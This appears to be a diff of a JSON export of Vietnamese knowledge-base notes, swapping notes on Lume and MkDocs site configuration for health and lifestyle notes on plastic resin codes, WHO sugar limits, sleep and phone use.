nên sử dụng 1 lần duy nhất, không nên tái chế sử dụng nhiều lần, cũng như không được dùng đựng thực phẩm nóng hoặc ở nhiệt độ cao… gây nguy hại cho sức khỏe người dùng.\n\n![chai nhựa pet và ký hiệu](https://thuanthienplastic.com/wp-content/uploads/2022/04/pet-va-ky-hieu.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 2\")\n\n_chai nhựa pet và ký hiệu_\n\n### Nhựa số 2 – Nhựa HDP hay HDPE \n\n[**Nhựa HDPE**](https://thuanthienplastic.com/nhua-hdpe-la-gi/) thường được sản xuất các loại chai nhựa đựng sữa, nước suối, nước trái cây, thuốc tẩy hay dầu gội đầu… Ngoài ra loại nhựa này còn được sử dụng để chế tạo túi nhựa, vật liệu cách nhiệt hay ống nhựa… Trên thế giới, nhựa HDP (số 2 – ký hiệu các loại nhựa) rất phổ biến, sử dụng rộng rãi là nhờ vào đặc tính độ dẻo, bền chắc và khả năng chống ẩm rất tốt. \n\nXét theo độ an toàn, nhựa HDPE được nằm trong danh sách nhựa tốt nhất vì khả năng chịu được nhiệt độ 110 độ C. Đồng thời có thể cho sản phẩm làm từ nhựa này vào lò vi sóng có công suất thấp. Tuy nhiên, một điểm bất cập của nhựa HDPE là khó làm sạch, do đó khi tái sử dụng cần lưu ý kẻo các chất còn sót lại dễ trở thành ổ vi khuẩn gây hại cho sức khỏe người dùng. \n\n![sản phẩm từ nhựa HDPE an toàn cho người dùng](https://thuanthienplastic.com/wp-content/uploads/2022/04/hdpe.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 3\")\n\n_sản phẩm từ nhựa HDPE an toàn cho người dùng_\n\n### Nhựa số 3 – Nhựa PVC \n\nMặc dù được sử dụng rộng rãi nhưng loại [**nhựa PVC**](https://thuanthienplastic.com/nhua-pvc-la-gi-tinh-chat-va-ung-dung/) (nhựa polyvinyl chloride) số 3 – ký hiệu các loại nhựa nằm trong danh sách nhựa độc hại, chẳng qua là nhờ vào ưu điểm có tính chất dẻo dai, bền, trong suốt và chi phí sản xuất rẻ. Trong sản xuất nhựa PVC có các chất phụ gia độc hại như BPA, phthalates, chì, dioxins, thuỷ ngân và cadmium. Đáng chú ý nhất là Bisphenol A (BPA, loại chất này có thể gây ra ung thư hoặc thay đổi hormone giới tính ở người, đặc biệt khi đốt cháy.\n\nỞ nhiệt độ thì nhựa PVC có khả năng thẩm thấu và hòa tan vào thức ăn, gây nguy hại cho sức khỏe con người, vì vậy cần lưu ý một số điều như sau:\n\nKhông mua đồ chơi cho bé bằng nhựa PVC, để ngăn ngừa và tránh bé ngậm vào miệng rất có hại cho sức khỏe.\n\nHạn chế dùng màng bọc thực phẩm, rất là khi thực phẩm còn nóng. Tuyệt đối không được dùng màng bọc thực phẩm rồi cho vào lò vi sóng để làm nóng thức ăn, điều này cực kỳ nguy hiểm đến sức khỏe. \n\n![Màng pvc bọc thực phẩm và ký hiệu](https://thuanthienplastic.com/wp-content/uploads/2022/04/mang-pvc.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 4\")\n\n_Màng pvc bọc thực phẩm và ký hiệu_\n\n### Nhựa số 4 – Nhựa LDPE \n\n[**LDPE**](https://thuanthienplastic.com/nhua-ldpe-la-gi/) thuộc họ nhựa Polyethylenes, so với HDPE lại có mật độ thấp hơn, nhưng bản chất loại nhựa này vẫn có đặc tính cơ bản như dẻo, dai và chống ẩm tốt. So với nhựa số 2 thì nhựa LDPE dễ gãy, vỡ, trầy xước và có khả năng chịu được va đập vật lý kém hơn. Bản chất có tính trơ hóa học nên nhựa LDPE thường được chế tạo và sản xuất các loại chai lọ mỹ phẩm, dầu gội, hóa chất, chuyên đựng hóa chất, túi nilon, túi đựng hàng và vỏ bánh… \n\nLưu ý: Nhựa LDPE tránh nhiệt độ cao, không được dùng trong lò vi sóng, vì rất gây nguy hại cho sức khỏe con người. \n\n![sản phẩm nhựa ldpe](https://thuanthienplastic.com/wp-content/uploads/2022/04/ldpe.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 5\")\n\n_sản phẩm nhựa ldpe_\n\n### Nhựa số 5 – Nhựa PP\n\n[**Nhựa PP**](https://thuanthienplastic.com/nhua-pp-la-gi/) số 5 được nằm trong danh sách loại nhựa an toàn, chịu được nhiệt độ cao (ít nhất là 130 độ C) và an toàn khi đặt trong lò vi sóng trong thời gian ngắn, khoảng độ 2-3 phút. PP – ký hiệu các loại nhựa được ứng dụng rộng rãi trong việc sản xuất hộp đựng thực phẩm, nhất là loại có khả năng dùng trong lò vi sóng hay cốc đựng sữa, siro hoặc cà phê. Đặc điểm trơ hóa học nên PP được các chuyên gia khuyên sử dụng vì chúng có độ bền cơ học và độ bền nhiệt độ cao, được đánh giá an toàn cho sức khỏe.\n\n![hộp nhựa pp đựng thực phẩm](https://thuanthienplastic.com/wp-content/uploads/2022/04/hop-nhua-pp-dung-thuc-pham.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 6\")\n\n_hộp nhựa pp đựng thực phẩm – có ký hiệu nhựa số 5 dưới đáy_\n\n### Nhựa số 6 – Nhựa PS \n\nSố 6 – ký hiệu các loại nhựa thường được nhìn thấy trên các hộp đựng thức ăn nhanh, hộp đựng thực phẩm để đi dã ngoại. Mặc dù có khả năng chịu được nhiệt và lạnh đáng kể nhưng ở nhiệt độ cao như đặt trong lò vi sóng thì khả năng phóng ra chất độc hại. Ngoài ra, loại nhựa số 6 không được đựng đồ có chứa chất kiềm mạnh, chất acid mạnh.. do đó không được phép đựng thực phẩm trong một thời gian dài.\n\n![ps](https://thuanthienplastic.com/wp-content/uploads/2022/04/ps.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 7\")\n\n_ký hiệu nhựa ps trên sản phẩm_\n\n_Tìm hiểu chi tiết hơn: [Nhựa PS là gì](https://thuanthienplastic.com/nhua-ps-la-gi/)_\n\n### Nhựa số 7 – Nhựa PC hoặc không có ký hiệu \n\nNhựa số 7 là loại nhựa hoặc hỗn hợp nhựa không thuộc các dạng trên, nhưng nhựa PC này không được sử dụng dưới dạng tái chế. Bởi bản chất của loại nhựa số 7 chứa BPA, một hợp chất hóa học gây nguy hại, có thể dẫn tới vô sinh, ung thư hay tiểu đường. \n\nSở dĩ chúng được sử dụng để sản xuất bình đựng nước, các thùng chuyên đựng hóa chất vì giá thành rẻ. Nhựa số 7 – ký hiệu các loại nhựa phổ biến, nằm trong danh sách nhựa không an toàn cho sức khỏe, độc hại nhất là khi đựng thực phẩm nóng. \n\n![ống đèn led pc](https://thuanthienplastic.com/wp-content/uploads/2022/04/pc.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 8\")\n\n_ống đèn led pc và ký hiệu_\n\n## Các loại nhựa khác \n\nNgoài 7 ký hiệu các loại nhựa phổ biến được liệt kê ở trên còn có một một loại nhựa khác, có tên là Tritan.  Mặc dù dưới đáy vẫn ký hiệu đánh số 7 nhưng trên thân bình có ghi dòng chữ “BPA Free Tritan” (không chứa BPA) là loại nhựa tự nhiên, có độ trong suốt như thủy tinh, đặc biệt thuộc tính của Tritan khi rơi khó vỡ nên thường được dùng để làm bình đựng nước thể thao. \n\n## Các loại nhựa an toàn\n\nSau khi đã tìm hiểu kỹ 7 ký hiệu các loại nhựa phổ biến cũng như các loại nhựa khác, đến đây sẽ liệt kê các loại nhựa an toàn để bạn yên tâm sử dụng, đó là:\n\n- Nhựa số 1 là [PET](https://thuanthienplastic.com/nhua-pet-la-gi/) (Polyethylene Terephthalate)\n- Nhựa số 2 là [HDPE](https://thuanthienplastic.com/nhua-hdpe-la-gi/) (High-Density Polyethylene)\n- Nhựa số 4 là [LDPE](https://thuanthienplastic.com/nhua-ldpe-la-gi/) (Low-Density Polyethylene)\n- Nhựa số 5 là [PP](https://thuanthienplastic.com/nhua-pp-la-gi/) (Polypropylene)\n\n![loại nhựa an toàn bạn nên sử dụng và nên tránh](https://thuanthienplastic.com/wp-content/uploads/2022/04/loai-nhua-nao-an-toan.jpg \"Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe 9\")\n\n_loại nhựa an toàn bạn nên sử dụng và nên tránh – ảnh internet_\n\nTuyệt đối không nên sử dụng các loại nhựa có các ký hiệu đánh số 3, 6, 7 vì chứa chất hóa học nguy hiểm. Đồng thời những loại nhựa yêu cầu chỉ sử dụng 1 lần không nên tái chế, vì dễ làm phá vỡ cấu trúc của nhựa và giải phóng một số chất hóa học nguy hiểm.\n\nTrên đây là các thông tin chia sẻ về ký hiệu các loại nhựa phổ biến giúp cho bạn hiểu hơn về sản phẩm được chế tác từ nhựa. Qua bài viết này bạn có thể chọn được các sản phẩm nhựa tốt, an toàn cho sức khỏe cho mọi thành viên của gia đình.\n\nNguồn:: [Phân biệt ký hiệu các loại nhựa - loại nhựa nào an toàn cho sức khỏe](https://thuanthienplastic.com/phan-biet-ky-hieu-cac-loai-nhua/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-03-03T05:53:00.000Z", - "Ngày cập nhật": "2024-08-31T14:04:00.000Z", - "id": "cI" + "id": "g4" }, { - "Tiêu đề": "WYSIWYM cho phép ta chỉ tập trung vào việc viết nội dung, nhưng đồng thời lại đảm bảo rằng ta sẽ không gặp những lỗi về hình thức mà không biết sửa thế nào", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/TeX/WYSIWYM cho phép ta chỉ tập trung vào việc viết nội dung, nhưng đồng thời lại đảm bảo rằng ta sẽ không gặp những lỗi về hình thức mà không biết sửa thế nào", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Một lon nước ngọt chứa lượng đường gấp đôi lượng đường tối đa nên tiếp thu một ngày", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Dinh dưỡng/Một lon nước ngọt chứa lượng đường gấp đôi lượng đường tối đa nên tiếp thu một ngày", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "Tổ chức Y tế thế giới (WHO) kêu gọi mọi người đừng hảo ngọt nữa: lượng đường tiêu thụ mỗi ngày chỉ nên dưới 10% mức đóng góp calo trong khẩu phần. \r\n \r\nMức sử dụng mà WHO thực sự mong muốn là thấp hơn 5%, nghĩa là chỉ nên dùng không quá 25g đường/ngày. \r\n \r\nWHO nói thẳng rằng, họ có bằng chứng rất cứng, hảo ngọt trên 10% là dính dáng tới lên cân, béo phì và sâu răng. \r\n \r\n# Chưa bị lộ mới nguy hiểm \r\n \r\nMỗi ngày trung bình cần khoảng 2.000 calo từ thực phẩm.10% là 200 calo.Mỗi gram đường cung cấp 4 calo. Như vậy mỗi ngày chỉ nên ăn dưới 50g đường (200/4), WHO nói thế. \r\n \r\nMột muỗng cà phê đường, hay một gói đường nho nhỏ để uống cà phê chừng 4g (ở Việt Nam gói nhỏ này 6g). Nhằm nhò gì! 50g đường là 12 muỗng rưỡi chứ đâu phải ít… Coi vậy chứ không phải vậy. Một lon nước ngọt có gas (330ml) chứa 36g đường, một lon nước tăng lực nhỏ (250ml) chứa 30g đường. Uống chơi chơi một lon, coi như gần hết quota. \r\n \r\nThứ đường mà WHO đề cập không chỉ là đường cát, đường phèn, đường thốt nốt (\\*), mà là đủ thứ đường: đường mạch nha (đường maltose), mật ong (gồm chủ yếu đường glucose và fructose), xi rô… thậm chí nước cốt trái cây ép cô đặc (fruit juice concentrate) như chanh dây, dâu tằm, táo, cam… cũng tính luôn. Mấy chai nước cốt này thường tự hào trên nhãn là không dùng chất bảo quản (No preservative), nhưng chứa đường đâu kém gì mứt thì vi khuẩn nào mà sống nổi. Các loại nước ngọt có gas thường dùng đường xi rô bắp, cao fructose (HFCS), loại đường này thì WHO còn ghét thậm tệ. \r\n \r\nChỉ có đường trong rau quả, trái cây tươi, sữa thì WHO không tính tới vì không có bằng chứng, mặc dù trong mấy thứ này đều có đường glucose, fructose, hoặc lactose. \r\n \r\nNhững thứ ngọt bị lộ (liễu) như chè, nước ngọt có gas, nước sinh tố, bánh bông lan… không đáng ngại lắm vì biết rõ hàng kiêng kỵ thì né. Điều e ngại là những thứ ngọt chưa bị lộ (hidden sugar), một muỗng tương cà có tới 4g đường, rồi BBQ, sườn nướng, sườn xào chua ngọt, mắm nêm, mắm ruốc, mắm kho quẹt… chưng lên là phải thêm đường. Mặn và ngọt mà trộn với nhau thì mới thấy quota 50g đường/ngày là mức nghiệt ngã. \r\n \r\n# WHO còn tiếp tục nghiệt nữa \r\n \r\nWHO nhấn mạnh là họ có bằng chứng rất “cứng” (solid evidence) rằng, xài trên 50g đường/ngày là dễ bị tăng cân, béo phì và sâu răng, so với những người dùng dưới mức này. Đó là chưa kể bằng chứng “từ trời rơi xuống”. Số là, trước thế chiến 2, mức xài đường bình quân mỗi năm là 15kg/người. Trong chiến tranh do thiếu lương thực nên xài ít lại, và sau kết thúc cuộc chiến, một năm (1946), mức tiêu thụ đường chỉ còn 0,2kg/người. Trong khoảng thời gian “kiêng ngọt” miễn cưỡng đó, tỷ lệ sâu răng giảm đi thấy rõ. \r\n \r\nTheo số liệu của STINFO (Tạp chí Thông tin khoa học công nghệ), thì mức tiêu thụ đường mỗi năm ở Việt Nam là 15kg/người, khoảng 41g đường/ngày. Đó chỉ là mới tính đường ăn, chưa kể các loại đường khác, và cũng chỉ tính xa cạ, nông thôn thành thị, từ trẻ sơ sinh cho tới người già 90, chứ nếu tính riêng nhóm đô thị thì chắc vượt qua con số khuyến cáo 50g của WHO. Theo viện Dinh dưỡng, tỷ lệ trẻ em dưới năm tuổi bị béo phì là 5,6%, người lớn từ 50 – 60 tuổi, cũng chiếm tỷ lệ đó, và con số này còn tiếp tục tăng. Thực ra, WHO đã đưa ra khuyến cáo giảm ngọt ở mức 10% hay 50g đường/ngày từ năm 1989. Sau khi thu thập thêm bằng chứng và thảo luận, đầu năm 2015 mới chính thức khuyến cáo mạnh mẽ để chính phủ các nước đưa ra chính sách thích hợp. Những biện pháp bao gồm, yêu cầu ghi lượng đường trên nhãn sản phẩm để người dùng lựa chọn, hạn chế marketing các sản phẩm có nhiều đường, và thảo luận với các nhà chế biến thực phẩm trong nước nhằm hạ mức sử dụng đường hiện nay. \r\n \r\nMức đường sử dụng mà WHO thực sự mong muốn là thấp hơn 5%, nghĩa là chỉ nên dùng không quá 25g đường/ngày. Hạn chế sử dụng đường là một phần của kế hoạch hành động toàn cầu của WHO, nhằm chặn đứng đà gia tăng bệnh tiểu đường và béo phì, và đến năm 2025, giảm khoảng 25% chết yểu do các bệnh không truyền nhiễm (NCDs – Non communicable diseases) như các bệnh tim mạch, ung thư, hô hấp mãn tính… \r\n \r\nGiảm thịt (đỏ), giảm béo, giảm mặn, và bây giờ là giảm ngọt. Xem ra cái giá phải trả để sống lâu cũng không rẻ. \r\n \r\nNguồn:: Vũ Thế Thành, [Thôi đừng hảo ngọt nữa](http://thegioihoinhap.vn/song-khoe/an-toan-thuc-pham/vu-the-thanh-thoi-dung-hao-ngot-nua)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-03-03T04:10:00.000Z", - "Ngày cập nhật": "2024-08-25T13:41:00.000Z", - "id": "cJ" + "id": "g5" }, { - "Tiêu đề": "Tạo bản đồ", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Sắp chữ, thiết kế/Tạo bản đồ", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Giải phẫu", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Giải phẫu", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "- [Perilous Shores](https://watabou.github.io/perilous-shores/?seed=2006422892&tags=peninsula,woodland,neutral,perilous&name=Qu%E1%BA%A3%20C%E1%BA%A7u&hexes=1)\n- [dusty sea](https://watabou.github.io/perilous-shores/?seed=34941435&tags=bay,chaotic,perilous)\n- [gloomy tarm](https://watabou.github.io/perilous-shores/?seed=527587900&tags=lake,highland,wetland,woodland,neutral,perilous)\n", + "Toàn bộ nội dung": "- [Institute of Human Anatomy - YouTube](https://youtube.com/@TheAnatomyLab)\r\n- Ackland\r\nKhó khăn là từ chuyên ngành nhiều, phức tạp, khó nhớ. Mà tài liệu tiếng Anh có rất nhiều cái hay\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-25T13:56:00.000Z", - "id": "cK" + "id": "g6" }, { - "Tiêu đề": "Các template engine và processor sẽ kiếm trong thư mục _includes", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Lume/Các template engine và processor sẽ kiếm trong thư mục _includes", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "`_includes` phải ở trong `src`. [[Tất cả mọi thứ đều phải ở trong thư mục src]]\r\nNguồn:: [The \\_config file - Lume](https://lume.land/docs/configuration/config-file/#includes)", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cL" + "id": "g7" }, { - "Tiêu đề": "Theme cơ bản là những plugin có remote", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Lume/Theme cơ bản là những plugin có remote", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Những lý do để khó duy trì việc ngủ sớm", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Những lý do để khó duy trì việc ngủ sớm", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[Remote files - Lume](https://lume.land/docs/core/remote-files/)\r\nNguồn:: [Discord](https://discord.com/channels/794537085641818124/794537086278828094/1271783746122678283)", + "Toàn bộ nội dung": "Việc lên giường lúc 22h và thức dậy lúc 5h có rất nhiều lợi ích: thêm nhiều ánh sáng hơn. Ngoài ra \n- Easy to drift, hard to revert\n\nBecause you need 1 hour more staying awake in bed\n\n# Những lý do khó duy trì việc ngủ lúc 22h\n- Đang có một câu chuyện dang dở cần phải nói tiếp, nhất là với bạn bè lâu năm\n- Bạn bè tụ tập\n- Thuật toán của youtube, netflix, instagram rất giỏi trong việc giới thiệu những sản phẩm truyền thông đủ sức cuốn hút hơn cả lợi ích của việc đi ngủ. Mà lúc nghỉ làm ra nghỉ chỉ muốn giải tri chút\n- Đi lòng vòng suy nghĩ\n- Relax after work, but only stop when knowing it's late. But after standing up, you just want to watch some tv…\n- Bên ngoài hát ồn ào\n- Trăng rằm\n\n## Liên quan đến công việc\n- [[Những công việc chưa hoàn thành sẽ ám ảnh ta (hiệu ứng Zeigarnik)]]\n\t- Thèm làm thêm chút, có thể vì thấy nó nhỏ không đáng là bao, mà để hôm sau là quên luôn\n\t- Thấy áy náy khi ban ngày chẳng làm gì nhiều\n- Cảm thấy ráng làm xíu nữa cũng không quá trễ\n- Đang tập trung suy nghĩ mà bị cắt khỏi dòng suy nghĩ rất là nhức đầu\n- Tới hạn chót \n- Đã dừng làm việc trên máy sớm và ra ôm điện thoại để giải lao và chuyển pha. Nhưng sau một hồi chat thì đầu óc hồi phục và lại thấy hăng làm\n- Ráng làm để tiết kiệm thời gian lúc ngủ: code cho xong để máy chạy xuyên đêm, hoặc soạn bài trên Reddit, Stack Exchange để mai có câu trả lời, vì giờ đó bên Mỹ là buổi sáng\n\n[[Việc mải mê làm việc đến quên cả đói cho thấy phần thưởng từ việc làm việc là đủ lớn hơn việc được ăn]]\nThường chỉ dừng khi thấy mỏi lưng, đầu hết nghĩ được gì\n[[Bảng quan trọng – khẩn cấp]]\n[[Humane tech]]\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cM" + "id": "g8" }, { - "Tiêu đề": "Tất cả các đường dẫn đều bắt đầu từ src", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Lume/Tất cả các đường dẫn đều bắt đầu từ src", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Sơ cứu", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Sơ cứu", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Tất cả mọi thứ đều phải ở trong thư mục src]]\r\nNguồn:: ", + "Toàn bộ nội dung": "- [ ] dùng băng gạc\n- [ ] hồi sức tim phổi \n\n[Survival Skills Vietnam-SSVN - Home](https://www.facebook.com/SurvivalSkillsVietnam/)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cN" + "id": "g9" }, { - "Tiêu đề": "Tất cả mọi thứ đều phải ở trong thư mục src", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Lume/Tất cả mọi thứ đều phải ở trong thư mục src", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Dùng điện thoại trên giường gây rối loạn giấc ngủ", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Điện thoại/Dùng điện thoại trên giường gây rối loạn giấc ngủ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Mặc định `src` nằm ở `.`. Để thay đổi thì thêm cái này trong `_config.ts`:\r\n```js\r\nconst site = lume({\r\n src: \"./src\",\r\n});\r\n```\r\n[[Tất cả các đường dẫn đều bắt đầu từ src]]\r\nNguồn:: [The \\_config file - Lume](https://lume.land/docs/configuration/config-file/#src)", + "Toàn bộ nội dung": "[[Mỗi một vị trí trong phòng nên được dùng cho một chức năng duy nhất]] \r\n[[Điện thoại làm tăng sự lo lắng]]\r\nThe feeling of disconnected. No phone.\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cO" + "id": "gA" }, { - "Tiêu đề": "Bất cứ một tệp nào trong overrides sẽ thay thế tệp ở theme gốc", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/MkDocs/Bất cứ một tệp nào trong overrides sẽ thay thế tệp ở theme gốc", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Gù lưng do nhìn điện thoại quá nhiều", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Điện thoại/Gù lưng do nhìn điện thoại quá nhiều", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```yaml\ntheme:\n name: material\n custom_dir: overrides\n```\nNguồn:: [Customization - Material for MkDocs](https://squidfunk.github.io/mkdocs-material/customization/#extending-the-theme)\n", + "Toàn bộ nội dung": "", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-19T14:00:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cP" + "id": "gB" }, { - "Tiêu đề": "main.html là template", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/MkDocs/main.html là template", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Xem điện thoại trước lúc ngủ làm khó ngủ", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Điện thoại/Xem điện thoại trước lúc ngủ làm khó ngủ", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "By default, MkDocs uses the `main.html` template of a theme to render Markdown pages. You can use the `template` meta-data key to define a different template file for that specific page. The template file must be available on the path(s) defined in the theme's environment.\r\n\r\nNguồn:: [Writing Your Docs - MkDocs](https://www.mkdocs.org/user-guide/writing-your-docs/#meta-data)\r\n\r\n[[main.html mở rộng base.html]] \r\n", + "Toàn bộ nội dung": "Nguồn:: \r\n\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-19T11:16:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cQ" + "id": "gC" }, { - "Tiêu đề": "main.html mở rộng base.html", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/MkDocs/main.html mở rộng base.html", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Điện thoại làm tăng sự lo lắng", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Sức khoẻ/Điện thoại/Điện thoại làm tăng sự lo lắng", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```django\n{% extends \"base.html\" %}\n\n{% block htmltitle %}\nCustom title goes here\n{% endblock %}\n```\nNguồn:: [Customizing Your Theme - MkDocs](https://www.mkdocs.org/user-guide/customizing-your-theme/#overriding-template-blocks)\n", + "Toàn bộ nội dung": "Giải pháp gợi ý:: Một chiếc điện thoại nhỏ không có chức năng liên lạc mà chỉ dùng để báo thức và ghi chú nhanh\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-19T13:37:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cR" + "id": "gD" }, { - "Tiêu đề": "Muốn cái nào làm trang chủ thì để tên là index.html", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Muốn cái nào làm trang chủ thì để tên là index.html", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Chi tiền cho hàng hiệu không làm bạn tự tin hơn hay có được sự chú ý của người bạn muốn họ quan tâm mình", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Tài chính/Chi tiền cho hàng hiệu không làm bạn tự tin hơn hay có được sự chú ý của người bạn muốn họ quan tâm mình", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn::\n", + "Toàn bộ nội dung": "Nguồn:: [3 CON SÂU tài chính ăn mòn TÀI SẢN của người trẻ - YouTube](https://www.youtube.com/watch?v=M-NvWRXIj7g)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-24T11:26:00.000Z", - "Ngày cập nhật": "2024-09-01T10:43:00.000Z", - "id": "cS" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-09T13:37:00.000Z", + "id": "gE" }, { - "Tiêu đề": "Web tĩnh", - "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Web tĩnh", - "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", + "Tiêu đề": "Con người rất ngại làm người khác ngại", + "URL": "https://kỹnăng.quảcầu.cc/⚡Hiểu biết sâu/Tâm lý con người/Con người rất ngại làm người khác ngại", + "Kho thông tin": "Học kỹ năng, phát triển bản thân", "Dự án": { - "Mã dự án": "C2" + "Mã dự án": "D1" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![How to choose your static site generator - YouTube](https://www.youtube.com/watch?v=c9g4UkHkzLs)\n![Lume, the static site generator for Deno – Static Feedback #12 